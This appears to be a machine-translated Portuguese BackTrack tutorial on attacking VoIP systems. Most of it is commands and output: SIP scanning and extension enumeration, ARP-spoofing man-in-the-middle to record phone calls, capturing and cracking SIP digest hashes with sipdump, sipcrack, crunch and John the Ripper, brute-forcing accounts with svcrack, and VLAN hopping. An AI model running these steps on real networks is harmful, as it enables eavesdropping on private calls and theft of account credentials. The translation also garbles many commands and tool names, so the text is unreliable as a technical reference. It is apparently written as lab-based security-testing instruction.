root @ bt :/ pentest / voip / sipscan # . / sip-scan-i eth0 192.168.1.1-254 192.168.1.20: Grandstream Grandstream HT-502 HT-502 V1.2A V1.2A 1.0.1.35 1.0.1.35 192.168.1.21: 192.168.1.22: Asterisk PBX 192.168.1.104: Asterisk PBX 192.168.1.128: FreeSWITCH-mod_sofia/1.0.trunk-16055 192.168.1.174: Grandstream HT-502 V1.2A 1.0.1.35 192.168.1.175: PABX Asterisk 1.6.0.9-samy-R27 192.168.1.219: "Exelmind Interruptor de controlo de chamadas (CAC)" 192.168.1.248: MailVision HostLynx/2.1 "GA"
SVMAP SVMAP é uma parte de um conjunto de ferramentas chamado SIPVicious e é o meu scanner favorito de escolha Pode ser usado para escanear e identificar impressões digitais de um único IP ou um intervalo de endereços IP. Svmap permite especificar o método de solicitação que está sendo usado para a digitalização, o método padrão é OPÇÕES, ele oferece de depuração e opções de verbosidade e até mesmo permite digitalizar os registros SRV para SIP no domínio de destino. Você pode usar o /. svmap-h para ver todos os argumentos disponíveis
root @ bt :/ pentest / voip / sipvicious # . / svmap.py Uso: svmap.py [options] host1 host2 hostrange exemplos: svmap.py 10.0.0.1-10.0.0.255 \ > 172.16.131.1 sipvicious.org/22 10.0.1.1/24 \ > 1.1.1.1-20 1.1.2-20. * 4.1. *. * svmap.py-s session1 - randomize 10.0.0.1 / 8 svmap.py - resume session1-v svmap.py-p5060-5062 10.0.0.3-20-m CONVIDAR
A d ig ital ização d e u m a faix a de IP:
root @ bt :/ pentest / voip / sipvicious # . / svmap.py 192.168.1.1254 | Dispositivos SIP | User Agent | impressão digital | -------------------------------------------------- | 192.168.1.104:5060 | Asterisk PBX | desativado | | 192.168.1.103:5060 | Twinkle/1.4.2 | desativado |
Perm itin do a d igitalizaç ão fin gerp rin tin g
root @ bt :/ pentest / voip / sipvicious # . / svmap.py 192.168.1.1254 - fp
Enumeração Extensões Enumeração de extensão podem ajudar um invasor por encontrar extensões válidos em um sistema de VoIP que mais tarde pode levar a um ataque de força bruta sobre as contas SIP. Enumeração de extensão funciona por erros examinando retornados por métodos SIP pedidos como REGISTO, Opções e CONVIDAR Svwar
Svwar também é uma ferramenta da suíte sipvicious permite enumerar as extensões usando uma variedade de extensões ou usando um arquivo de dicionário svwar suporta todos os principais dos três métodos de extensão de enumeração como mencionado acima, o método padrão para a enumeração é o registo.
Uso:
root @ bt :/ pentest / voip / sipvicious # . / svwar.py Uso: svwar.py [options] alvo exemplos: svwar.py-e100-999 10.0.0.1 svwar.py-d dictionary.txt 10.0.0.2
Exemplo:
root @ bt :/ pentest / voip / sipvicious # . / svwar.py-e100-400 192.168.1.104 | Extensão | Autenticação | -----------------------------| 201 | reqauth | | 200 | reqauth | | | | |
203 202 303 305
| | | |
reqauth reqauth reqauth reqauth
| | | |
Svwar identificou todas as extensões que eu criei no meu servidor Trixbox. Você pode especificar outro método sip usando o m-argumento, você também pode adicionar t-v ou-vv para uma verbosidade.
root @ bt :/ pentest / voip / sipvicious # . / svwar.py-e100-400 192.168.1.104-m CONVIDAR-v INFO: TakeASip: tentando obter ip auto .. pode demorar um pouco INFO: root: liguem seus motores INFO: TakeASip: dispositivo SIP Ok encontrado INFO: TakeASip: extensão '200 'existe - requer autenticação INFO: TakeASip: extensão '201 'existe ----- Edit ---INFO: TakeASip: extensão '203 'existe INFO: TakeASip: extensão '303 'existe INFO: TakeASip: extensão '303 'existe INFO: TakeASip: extensão '305 'existe INFO: root: temos 6 extensões | Extensão | Autenticação | -----------------------------| 201 | reqauth | | 200 | reqauth | | 203 | reqauth | | 202 | reqauth | | 303 | reqauth | | 305 | reqauth |
- requer autenticação -
requer requer requer requer
autenticação autenticação autenticação autenticação
INFO: root: Tempo total: 0:00:21.944731
Enumiax
Enumiax é usada para enumerar nomes de usuários de protocolo Asterisk Exchange. Ela permite a um ataque de dicionário ou um nome de usuário seqüencial Adivinhar root @ bt :/ pentest / voip / enumiax # . / enumiax enumIAX 1,0 Dustin D. Trammell Uso: enumiax [options] alvo opções: -D Ataque depara dicionário usando arquivo -I Intervalo o auto-save (número de operações, padrão 1000) -M # nome de usuário comprimento mínimo (em caracteres) -M # nome de usuário comprimento máximo (em caracteres) -R # limite de taxa de chamadas (em microssegundos) -S Leia o estado da sessão de arquivo de estado -V verbosidade Aumento (repetição de detalhamento adicional) V-informações sobre a versão de impressão e saída -H Imprimir informações de ajuda / utilização e sair
root @ bt :/ pentest / voip / enumiax # . / enumiax-v-m3-M3 192.168.1.104 enumIAX 1,0 Dustin D. Trammell Alvo Aquired: 192.168.1.104 Conectando-se via 192.168.1.104 udp na porta 4569 ... Iniciando processo enum em: Sáb 05 fevereiro 2011 13:04:18 Agora trabalhando em 3 nomes de personagens ... # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # ...
# # # "000" # # # "001" # # # "002" # # # "003" # # # "004" # # # "005" # # # "006" # # # "007" # # # "008" # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
root @ bt :/ pentest / voip / enumiax # . / enumiax-d dict-v 192.168.1.104 enumIAX 1,0 Dustin D. Trammell Alvo Aquired: 192.168.1.104 Conectando-se via 192.168.1.104 udp na porta 4569 ... Iniciando processo enum em: Sáb 05 fevereiro 2011 13:02:39 # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário:
# # # # # # # # # # # # # # # # # # # # # # # # "guest" # # # # # # # # # # # # # # # # # # # # # # # # "iaxtel"
# # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário: # # # # # # # # # Tentando usuário:
# # # # # "iaxtel2" # # # # # "100" # # # # # "101" # # # # # "200" # # # # # "201"
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Tentando usuário: "202" # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # Tentando usuário: "203" End of file dicionário alcançado, de sair.
Monitoramento de tráfego e chamadas telefónicas Eavesdropping Monitorar o tráfego VoIP pode permitir que um invasor capturar pedidos SIP e RTP dados enviados de clientes para o servidor e de volta. Ele pode servir a dois vetores de ataque:
Captura de autenticação SIP (que mais tarde irá discutir este tema na seção autenticação atacar). Escutas usuários telefonemas. Para fins de demonstração, vamos utilizar o seguinte cenário:
Para este vetor de ataque que será necessário executar um homem no ataque do meio, que exigirá os seguintes passos:
Arp envenenamento / spoofing Sniffing tráfego
Decodificação RTP dados para um arquivo de áudio.
ARP Poisoning usando arpspoof Antes de podermos começar a farejar o tráfego precisaremos arp veneno nosso switch / gateway, estaremos usando uma ferramenta chamada "arpspoof" que está localizado em "/ usr / sbin / arpspoof" pasta no Backtrack, na verdade, você pode simplesmente chamá-lo de qualquer lugar, digitando: arpspoof Antes de podermos usar arpspoof precisaremos habilitar o encaminhamento de IP: root @ bt: ~ # echo 1> / proc/sys/net/ipv4/ip_forward
Sintaxe arpspoof deve olhar como se segue:
root @ bt: ~ # arpspoof Versão: 2.4 Uso: arpspoof [-i interface] [-t-alvo] host
Para um ataque MITM sucesso teremos de falsificar nos dois sentidos:
arpspoof-t vítima gateway de de gateway vítima arpspoof-t
Vamos deixar o nosso envenenamento Arp executado em segundo plano enquanto executa uma captura usando o Wireshark.
Capturando o tráfego e Espionagem usando o Wireshark Agora vamos acionar o Wireshark para capturar algum tráfego. Nós vamos usar o filtro de captura Wireshark seguinte: não transmitir e não multicast e host 192.168.1.118
Agora vamos começar a capturar algum tráfego ... Enquanto sniffing para o tráfego do usuário "B" lançou o telefone X-Lite macio em seu computador de mesa e discou para o ramal do usuário "A" 200.
Wireshark capturou algum tráfego, depois de um tempo eu parei o processo de captura e salva as sessões em um arquivo chamado "sip.pcap".
Podemos ver que nós capturamos o tráfego SIP, mas para esta seção, estão mais interessados no tráfego RTP, pois contém os dados reais de conversação.
Wireshark possui um recurso muito legal para decodificar capturado chamadas VoIP dados em formato de áudio jogável Você pode encontrar esse recurso nas Estatísticas -> VoIP Calls menu.
VoIPong VoIPong é um utilitário que detecta todas as chamadas de voz sobre IP em um gasoduto, e para aqueles que estão G711 codificado, dumps de conversação real para arquivos de onda distintos. Ele suporta SIP, H323, protocolo da Cisco Skinny cliente, RTP e RTCP. VoIPong está localizado em Backtrack "/ pentest / voip /
voipong" diretório Antes de podermos usar VoIPong teremos de fazer algumas alterações para o arquivo voipong.conf: root @ bt :/ pentest / voip / voipong # etc nano / voipong.conf soxpath = / usr / bin / sox networksfile = / pentest / voip / voipong / etc / voipongnets OutDir = / pentest / voip / voipong / saída / device = eth0 # seu nome de rede placa de interface
Agora podemos começar a VoIPong para capturar algumas conversas VoIP
root @ bt :/ pentest / voip / voipong # . / etc voipong-c / voipong.conf-d4-f
Uma vez VoIPong detecta um telefonema ele vai começar a capturá-lo, uma vez que terminar de VoIPong vai parar o processo de captura e irá torná-lo para um arquivo de onda jogável. Toda a conversa será salva no "/ pentest / voip / voipong / output" pasta
Jogando o
ar quivo:
Vomitar Vomit converte um telefone IP Cisco conversa RTP em um arquivo de onda que pode ser jogado com jogadores de som comuns. Vomit exige um tcpdump arquivo
de saída. A fim de obter vomitar e funcionando, será necessário baixar e instalar waveplay Obtenha aqui:http://dir.filewatcher.com/d/FreeBSD/distfiles/Other/waveplay20010924.tar.gz.5731.html root @ bt: ~ # tar-xzvf waveplay 20010924.tar.gzwaveplay-20010924 / waveplay-20010924/Makefile waveplay-20010924/waveplay.c waveplay-20010924/waveplay.ja.1 waveplay-20010924/wavefmt.h waveplay-20010924/README waveplay-20010924/waveplay.1 waveplay-20010924/README.jp root @ bt: ~ # cd waveplay-20010924 root @ bt: ~ / waveplay-20010924 # fazer cc-c-o waveplay.o waveplay.c cc waveplay waveplay.o-ó root @ bt: ~ waveplay-20010924 / # cp waveplay / usr / bin / root @ bt :/ pentest / voip / vômito # / vômito-r sip.dump |. waveplay-S8000-B16-C1
UCsniff UCSniff é um VoIP e IP Vídeo ferramenta de Avaliação de Segurança, que integra software de código aberto existente em várias características úteis, permitindo VoIP e proprietários de Vídeo IP e os profissionais de segurança para rapidamente testar a ameaça de VoIP não autorizado e Espionagem Vídeo. UCSniff suporta envenenamento Arp, VLAN Hopping, VLAN Descoberta via CDP, ele tem uma capacidade de farejadores e muito mais ... eu considero-o como um tudo em uma ferramenta de escutas. Vamos dar uma olhada em alguns exemplos de uso: UCSniff pode operar em 2 modos
Monitor mode - Deve ser usado em uma mídia compartilhada, onde os
telefones IP conectados a ou seja: um HUB, ponto de acesso sem fio, ele também pode ser usado em um ambiente comutado através da criação de algumas sessões SPAN em um switch Cisco. Homem no modo médio - Este modo tem 2 modos adicionais que são
Modo de aprendizagem Modo alvo
Preparando UCSniff para que possamos executá-lo a partir de qualquer localização no backtrack: root @ bt :/ tmp # cd instalar
Usage Monitor Modo
root @ bt :/ tmp / ucsniff # ucsniff-i eth0-M UCSniff 2,1 de partida Correndo em Modo Monitor Diretório do users.txt não pode ser aberto para leitura no diretório de trabalho Targets.txt arquivo não pode ser aberto para leitura no diretório de trabalho Ouvir em eth0 ... (Ethernet) eth0 -> 00:00 C: 29:84:98: B2 192.168.1.105 255.255.255.0 Começando Unificado cheirar ... Atenção: Certifique-se que você bateu 'q' quando tiver terminado com este programa. Aviso: 'q' re-ARPs as vítimas. Não fazê-lo antes de sair do programa irá resultar em uma negação de serviço. SIP Chamada em curso. (Ramal 200, ip 192.168.1.104) chamada (ramal 201, ip 192.168.1.118) SIP Chamada em curso. (Ramal 200, ip 192.168.1.105) chamada (ramal 201, ip 192.168.1.104) SIP chamada terminou. Conversa gravada no arquivo '200-chamada-201-5 :2:7-3-ambos. Wav ' SIP chamada terminou. Conversa gravada no arquivo '200-chamada-201-5 :2:8-2-dois. Wav ' Fechando interface de texto ... Unified sniffing foi interrompido.
Nós podemos parar as sessões, pressionando a tecla Q. Vários arquivos foram criados por UCSniff: Os arquivos de log - Contém informações detalhadas sobre os arquivos saborear transações pcap - arquivo de captura que pode ser visto em arquivos de áudio wav Wireshark - arquivos de áudio de conversa root @ bt :/ tmp / ucsniff # ls-l
total de 376 -Rw-r - r -. 1 root root 40854 05 de fevereiro 05:02 200 Chamar-201-5 :2:7-3-tanto wav -Rw-r - r -. 1 root root 115818 05 fevereiro 05:02 200 Chamar-201-5 :2:7-3 pcap -Rw-r - r -. 1 root root 46294 05 de fevereiro 05:02 200 Chamar-201-5 :2:8-2-wav tanto -Rw-r - r -. 1 root root 103940 05 fevereiro 05:02 200 Chamar-201-5 :2:8-2 pcap -Rw-r - r - 1 root root 278 05 fevereiro 05:02 call_detail_log -Rw-r - r - 1 root root 317 05 fevereiro 05:02 call_log -Rw-r - r - 1 root root 10063 05 de fevereiro 05:02 sip.log -Rw-r - r - 1 root root 39073 05 de fevereiro 05:02 sipdump.pcap -Rw-r - r - 1 root root 0 05 de fevereiro 05:01 skinny_log
MITM Mo d o de Utili zação A pr end izagem
Este modo usa um protocolo de sinalização (SIP, Skinny) para mapear a extensão de um endereços IP. Você pode personalizar as metas a apenas interceptar endereços IP específicos ou redes. No exemplo a seguir, vamos imaginar que estão na VLAN VoIP UCSniff vai Arp envenenar todos os hosts da sub-rede. root @ bt :/ tmp / ucsniff # ucsniff-i eth0 / / / / UCSniff 2,1 de partida Ouvir em eth0 ... (Ethernet) eth0 -> 00:00 C: 29:84:98: B2 192.168.1.105 255.255.255.0 Randomização 255 hosts para escaneamento ... Digitalização a máscara inteira para 255 anfitriões ... * | ================================================ ==> | 100,00% Envenenamento vítimas ARP: GRUPO 1: Qualquer (todos os hosts na lista) GRUPO 2: Qualquer (todos os hosts na lista) Entrada de destino mapeado novo: (IP: 192.168.1.118) -> ramal 201 eo nome: entrada de destino mapeado novo: (IP: 192.168.1.104) -> ramal 200 eo nome: SIP Chamada em curso. (Ramal 201, ip 192.168.1.118) chamada (ramal 200, ip 192.168.1.104) SIP chamada terminou. Conversa gravada no arquivo '201-chamada-200-5 :13:4-2-dois. Wav ' Fechando interface de texto ... ARP envenenador desativado. RE-ARPing as vítimas ... Unified sniffing foi interrompido.
Se dermos uma olhada em arquivos de log UCSniff podemos ver os alvos descobertos utilizados no ataque.
root @ bt :/ tmp / ucsniff # cat targets.txt 192.168.1.118,201, gole 192.168.1.104,200, gole
MI TM Target Mod e Target Mode permite Eavesdropping em uma camada superior apenas ao acaso fluxos de áudio ou o endereço IP de telefones para os quais você não sabe a extensão. Este modo tem 2 modos secundários: Usuário Targeted alvejado Conversa Podemos acrescentar metas manualmente para o arquivo "targets.txt" no seguinte formato: xxxx, extensão, 192.168.1.118,201 gole, gole ou usar o modo de aprender a auto descobrir hospedeiros root @ bt :/ tmp / ucsniff # ucsniff-i eth0-T UCSniff 2,1 de partida Targets.txt arquivo não pode ser aberto para leitura no diretório de trabalho Não há metas foram previamente descobertos no arquivo de Metas, targets.txt Por favor, execute UCSniff no modo de aprendizagem, ou editar manualmente targets.txt
Uma vez que um arquivo targets.txt válido for encontrado será pedido para escolher um modo de escuta:
root @ bt :/ tmp / ucsniff # ucsniff-i eth0-T UCSniff 2,1 de partida Analisadas 2 entradas no arquivo de Metas, targets.txt UCSniff executado no modo de alvo. Analisado 2 alvos previamente descobertos Por favor seleccione um modo de Eavesdropping segmentado: 1. Usuário Descrição: escutar todas as chamadas para ou de um determinado ponto de extremidade. 2. Conversa Descrição: Eavesdrop sobre os fluxos bi-direcionais de conversação entre dois pontos selecionados. Por favor, selecione a opção (1) ou (2):
Selecionando "Usuário", conta a ferramenta para interceptar todo o tráfego entre o alvo um lado, eo resto da rede.
Em "Conversa", dois pontos são selecionados ea rede é ARP envenenadas para apenas interceptar o tráfego entre esses dois usuários.
UCSniff inclui ferramentas mais úteis e ataques modos como VLAN hopping (usando ACE), que serão discutidas mais tarde.
Xplico Embora Xplico não está no diretório Backtrack ferramentas de VoIP, é uma ferramenta muito útil para capturar tráfego SIP e RTP (entre outros protocolos). Xplico pode ser encontrado no Backtrack -> Digital Forensics ->
Análise Forense de menu
No caso, não está presente em sua instalação Backtrack você pode simplesmente instalá-lo, emitindo o seguinte comando: root @ bt: ~ # apt-get install xplico
Xplico pode ser usado para capturar o tráfego ao vivo ou importar um arquivo de captura Wireshark PCAP. De qualquer maneira Xplico irá decodificar os pacotes capturados e montá-los para o formato apropriado No nosso caso será SIP e RTP. Depois de executar Xplico você será solicitado a fazer o login, o nome de usuário ea senha padrão são: xplico
Uma vez que tenhamos sucesso logado para Xplico vamos precisar para criar um caso
Nós será solicitado a escolher entre uma captura vivo ou importar um arquivo PCAP Neste exemplo, usaremos Xplico para executar uma captura ao vivo (vamos Arp envenenar os nossos objectivos no plano de fundo usando arpspoof). Agora teremos que escolher o nosso caso e criar uma nova sessão
Ao escolher a nossa sessão recém-criado, vamos ver a nossa página de estatísticas principal com a opção de escolher o nosso adaptador de rede e iniciar / parar o processo de captura.
Aqui está um exemplo para o tráfego capturado SIP:
Um exemplo para a RTP tráfego decodificado:
Capturando Autenticação SIP usando SIPDump SIPDump é uma parte das ferramentas SIPCrack suite, que permite a realização de uma captura ao vivo de resposta SIP Digest autenticação ou pode despejar algumas sessões previamente capturados de um arquivo PCAP. Uso SIPDump: root @ bt :/ pentest / voip / sipcrack # . / sipdump-i eth0 SIPdump 0,3 (MaJoMu | www.codito.de) --------------------------------------Uso: sipdump [OPÇÕES] = Arquivo onde logins capturadas serão gravadas Opções: -I = Interface para escutar -P = Usar arquivo de dados pcap -M = inserir dados de login manualmente -F ""= Conjunto libpcap filtro * Você precisa especificar arquivo de despejo
Viva capturar utilizando SIPDump:
root @ bt :/ pentest / voip / sipcrack # . / auth.txt sipdump-i eth0 SIPdump 0,3 (MaJoMu | www.codito.de) --------------------------------------* A utilização de 'eth0' dev para cheirar
* * * *
Começando Despejado Despejado Despejado
a farejar com 'TCP ou UDP de login de 192.168.1.104 de login de 192.168.1.104 de login de 192.168.1.104
ou -> -> ->
vlan "filtro de pacotes 192.168.1.111 (User: '200 ') 192.168.1.111 (User: '200 ') 192.168.1.111 (User: '200 ')
Dumping dados de autenticação de um arquivo PCAP
root @ bt :/ pentest / voip / sipcrack # . / sipdump-p / root / registration.pcap auth.txt SIPdump 0,3 (MaJoMu | www.codito.de) --------------------------------------* Utilizando pcap arquivo "/ root / registration.pcap" para cheirar * Começando a farejar com 'TCP ou UDP ou vlan "filtro de pacotes * Despejado de login de 192.168.1.104 -> 192.168.1.101 (User: '200 ') * Saindo, inalado 1 logins
SIPDump vai escrever a resposta de desafio de autenticação para o arquivo especificado que é o seguinte:
192.168.1.111"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"44 b80d16""""MD5"8edc2d549294f6535070439fb069c968
Vamos disscuss rachaduras estes desafios no capítulo autenticação atacar.
Atacando de autenticação SIP pode ser suscetível a 2 tipos de ataques de autenticação, antes de tomarmos uma olhada nestes ataques tipos vamos entender como é um registro do SIP e do processo de autenticação ocorre. SIP utiliza uma autenticação Digest que é um mecanismo que usa o protocolo HTTP e conhecido como HTTP digest. Porque o SIP é um protocolo baseado em ASCII os detalhes de autenticação estão em hash, a fim de impedi-los de transportar em texto claro. Quando um cliente SIP (User Agent) quer autenticar com um servidor SIP, o servidor gera e envia um desafio para análise para o cliente, ele contém os seguintes parâmetros:
Realm - usado para identificar credenciais dentro como mensagem SIP, geralmente é o gole de domínio. Nonce - esta é uma string md5 único que é gerado pelo servidor para cada pedido de registro é feito a partir de um carimbo de tempo e uma frase secreta para garantir que tem um tempo de vida limitado e não podia ser ser utilizados de novo. Uma vez que o cliente recebe o desafio digerir e que o usuário digita suas credenciais o cliente usa o nonce para gerar uma resposta digest e envia de volta para o servidor.
Com isso dito, vamos tentar decifrar a resposta digest, a fim de obter uma senha de conta válido SIP.
Cracking SIP Digest resposta hashes Backtrack fornece uma grande ferramenta chamada SIPCrack, Nós já discutimos como capturar um válido autenticação SIP resposta digest usando SIPDump. SIPCrack pode ser encontrada na root @ bt :/ pentest / voip / sipcrack #
Uso SIPCra ck:
root @ bt :/ pentest / voip / sipcrack # . / sipcrack SIPcrack 0,3 (MaJoMu | www.codito.de) ---------------------------------------Uso: sipcrack [OPÇÕES] [-s |-w ] Logins = arquivo contendo rastreados por SIPdump Opções: -S = usar stdin para senhas -W wordlist = arquivo contendo todas as senhas para tentar -P num = processo de impressão a cada quebra senhas N (para-w) (ATENÇÃO: diminui muito) * Ou-w ou-S tem de ser dado
SIPCrack pode operar em dois modos:
Dicionário ataque
STDIN
Dic io nário ataq ue
Backtrack fornece alguns dicionários básicos que estão localizados em:
root @ bt :/ pentest / senhas / wordlists
Mas, para efeitos do presente artigo, vou usar uma outra ferramenta na grelha backtrack Crunch chamado que é usado para criar dicionários personalizados. Vamos usar crise para criar um seis caracteres Crunch dicionário numérico está localizado em:
root @ bt :/ pentest / senhas / trituração #
Uso Crunch:
uso: crise [-F / caminho / para / charset.lst charset-name] [-o wordlist.txt] [-t [FIXO] @ @ @ @] [-s startblock] [número-c]
Para uso crise detalhada verificar seu manual:
root @ bt :/ pentest / senhas / trituração # crise de homem
Criando um dicionário seis caracteres numéricos:
root @ bt :/ pentest / senhas / trituração # . / crise 6 6-f charset.lst numérico-o / pentest / voip / sipcrack / sipass.txt Crunch agora gerará 7000000 bytes de dados Crunch agora vai gerar 6 MB de dados Crunch agora gerará 0 GB de dados 100%
Usaremos um credenciais capturados anteriormente saborear armazenados por SIPDump no auth.txt arquivo ans sipass.txt como o dicionário (que criamos utilizando crunch)
Desvendando o Response Digest:
root @ bt :/ pentest / voip / sipcrack # . / sipcrack-w sipass.txt auth.txt SIPcrack 0,3 (MaJoMu | www.codito.de) ---------------------------------------* Encontrado Contas: Num servidor Hash Usuário do Cliente | Senha 1 192.168.1.101 192.168.1.104 200 3a33e768ed6f630347f4b511371926bd * Selecione quais a entrada de crack (1 - 1): 1 * Gerando hash MD5 estática ... 0a84f78fde66bb15197eab961462dc2f * A partir bruteforce contra o usuário '200 '(MD5: '3 a33e768ed6f630347f4b511371926bd') * Wordlist Loaded: 'sipass.txt' * A partir bruteforce contra o usuário '200 '(MD5: '3 a33e768ed6f630347f4b511371926bd') * Tentei 123457 senhas em 0 segundos * Senha Encontrado: '123456 ' * Atualizando arquivo de despejo 'auth.txt' ... feito
Ataqu e de forç a bruta us ando o Jo hn The Ripper
Para este modo de ataque estaremos usando John The Ripper, para redirecionar a saída johns no arquivo FIFO que vamos alimentar SIPCrack.Criando um arquivo FIFO: root @ bt :/ tmp # mkfifo sipcrack
Gerando senhas usando john e redirecionando a saída para o nosso arquivo FIFO, para este exemplo vamos gerar até 6 dígitos somente.
root @ bt: ~ # john [*] Este script irá levá-lo para / pentest / senhas / jtr / [*] A partir daí, executar. / John root @ bt :/ pentest / senhas / JTR # / john -. incremental = dígitos stdout-= 6> / tmp / sipcrack
Usando nosso arquivo FIFO para quebrar a senha:
root @ bt :/ pentest / voip / sipcrack # . / sipcrack-w / tmp / sipcrack auth.txt SIPcrack 0,3 (MaJoMu | www.codito.de) ---------------------------------------* Encontrado Contas: Num servidor Hash Usuário do Cliente | Senha 1 192.168.1.111 192.168.1.104 200 8edc2d549294f6535070439fb069c968 * Selecione quais a entrada de crack (1 - 1): 1 * Gerando hash MD5 estática ... 0a84f78fde66bb15197eab961462dc2f * A partir bruteforce contra o usuário '200 '(MD5: '8 edc2d549294f6535070439fb069c968') * Wordlist Loaded: '/ tmp / sipcrack' * A partir bruteforce contra o usuário '200 '(MD5: '8 edc2d549294f6535070439fb069c968') * Tentei 3 senhas em 0 segundos * Senha Encontrado: '123456 ' * Atualizando arquivo de despejo 'auth.txt' ... feito
Contas por força bruta SIP Podemos usar svcrack que é uma parte do sipvicious suíte de ferramentas para a força bruta saborear as contas de uma única conta SIP ataque de dicionário (Você pode adicionar um v ou-vv para uma verbosidade): root @ bt :/ pentest / voip / sipvicious # . / svcrack.py-U200-d 192.168.1.104 wordlist.txt | Extensão | Senha | -----------------------| 200 | 123456 |
Um bruto única conta SIP forçando:
root @ bt :/ pentest / voip / sipvicious # . / svcrack.py-U200r100000-999999 192.168.1.104 | Extensão | Senha | -----------------------| 200 | 123456 |
Use. / Svcrack-h para todos os argumentos disponíveis.
VLAN Hopping Normalmente, o tráfego de VoIP está conectado a uma VLAN dedicada (Virtual LAN), como vimos na seção topologias. Isto significa que não podemos interceptar o tráfego de VoIP por cheirar e envenenamento Arp. A razão para isso é que uma VLAN é como uma rede separada, ela tem seu próprio domínio de broadcast e faixa de IP diferente da rede de dados. VLAN hopping é uma forma de "salto" para outra VLAN, para nossa sorte Backtrack inclui as ferramentas necessárias para executar este ataque. Uma topologia comum é quando o telefone IP tem um builtin "Switch interno", geralmente o PC está conectado na tomada pc telefone eo telefone está ligado desde a sua tomada de lan / sw para o switch de rede da seguinte forma:
Um típico CISCO configuração da porta do switch para VoIP será algo parecido com: Switch # conf t Digite os comandos de configuração, um por linha. End com CNTL / Z. Switch (config) # interface FastEthernet 0/1
Switch (config-if) # switchport acesso de modo Switch (config-if) # switchport acesso vlan 10 Switch (config-if) # switchport voz VLAN 20
O telefone IP será configurado com o apropriado VLAN ID (20) eo tráfego de dados PC vai fluir através de VLAN 10. Antes de começar pulando por aí vamos ter que activar o suporte para o protocolo 802.1q no Backtrack, digitando:
root @ bt: ~ # modprobe 8021Q
VoIP Hopper VoIP funil é usado para pular em voz Vlan, comportando-se como um telefone IP, que suporta opções específicas e suporta alguns modelos de telefones IP. Ele suporta atualmente as marcas como: Cisco, Avaya e Nortel. VoIP funil foi concebido para ser executado em Linux Backtrack e atualmente tem as seguintes características: DHCP Client, CDP Generator, MAC Address Spoofing e VLAN hopping. Uso Voiphopper: root @ bt :/ pentest / voip / voiphopper # . / voiphopper voiphopper-i -c {0 | 1 | 2}-uma-n-v Por favor, especifique um modo de opção de base: CDP Sniff Mode (-c 0) Exemplo: voiphopper-i eth0-c 0 CDP Spoof Mode com pacotes customizados (-c 1): -D (Device ID) -P (Port ID) -C (Recursos) -L (Plataforma) -S (Software) -U (Duplex) Exemplo: voiphopper-i eth0-c 1-E 'SIP00070EEA5086'-P 'Porta 1' C-HostL 'Cisco Phone com 7940'-S 'P003-08-8-00'-U 1 CDP Modo IP paródia pré-fabricados de pacotes (-c 2) Exemplo: voiphopper-i eth0-c 2 Avaya Modo Opção DHCP (-a): Exemplo: voiphopper-i eth0-a Modo VLAN Hop (-v VLAN ID): Exemplo: voiphopper-i eth0-v 200 Nortel Modo Opção DHCP (-n): Exemplo: voiphopper-i eth0-n
VoIP Hopper oferece muitos modos de ataque por favor use a-h para obter informações detalhadas.
Vamos dar uma olhada em um exemplo de sniffing para CDP e executar uma Hop VLAN para a VLAN de Voz em um ambiente Cisco. Executar VoIP Hopper na interface Ethernet, da seguinte maneira: root @ bt :/ pentest / voip / voiphopper # . / voiphopper-i eth0-c 0
VoIP Hopper também permite a VLAN para uma VLAN Hop arbitrária, sem cheirar para CDP. Se você já conhece a voz VLAN ID ou gostaria de Hop VLAN para outra VLAN basta especificar o ID de VLAN. root @ bt :/ pentest / voip / voiphopper # . / voiphopper-i eth0-v 20 VoIP Hopper 1,00 Correndo em modo VLAN Hop ~~~V Tentando hop em VLAN 2 Adicionado VLAN 20 para interface eth0 A tentativa de solicitação de DHCP para a nova interface de eth0.20 eth0.20 Link encap: Ethernet Endereço de HW 00:00 c: 29:84:98: b2 inet6: fe80 :: 20c: 29ff: fe84: 98b2/64 Escopo: Link UP NOTRAILERS BROADCAST MULTICAST MTU CORRIDA: 1500 Métrica: 1 RX pacotes: 0 erros: 0 descartados: 0 excesso: 0 quadro: 0 TX pacotes: 9 erros: 0 descartados: 0 excesso: 0 portadora: 0 colisões: 0 txqueuelen: 0
RX: 0 bytes (0,0 B) TX bytes: 2274 (2,2 KB)
ACE ACE é outra ferramenta para VLAN hopping muito semelhante ao Voiphopper no uso e inclui uma opção para descobrir também TFTP servidores (servidores de configuração). Uso ACE: root @ bt :/ pentest / voip / ace # . / ace ACE v1.0: Automated Corporativa (Data) Enumerador Uso: ace [-i interface] [-m endereço mac] [-t endereço IP do servidor tftp |-c modo cdp |-v voz vlan id |-r vlan interface |-d modo verbose] -I Interface (obrigatória) para cheirar / envio de pacotes -M (Opcional) tftp endereço IP do servidor -C (Opcional) 0 CDP farejar modo, um modo de paródia CDP -V (Opcional) Digite o voice VLAN ID -R da VLAN> interface> (Opcional) Remove a interface VLAN -D (Opcional) Verbose | modo de depuração
Você pode adicionar manualmente uma vlan hop ou usar o recurso de descoberta
Mode para especificar a voz VLAN ID Exemplo: ace-i eth0-v 96-m 00:01 E: F7: 28:9 C: 8E Modo de auto-descoberta voz vlan ID no modo de escuta para CDP Exemplo: ace-i eth0-c 0-m 00:01 E: 8E: F7: 28:9 C Modo de auto-descoberta voz vlan ID no modo de spoofing para CDP Exemplo: ace-i eth0-c 1-m 00:01 E: 8E: F7: 28:9 C
DICA: Para ver o seu endereço MAC em uso de voltar atrás:
root @ bt: ~ # macchanger-s eth0
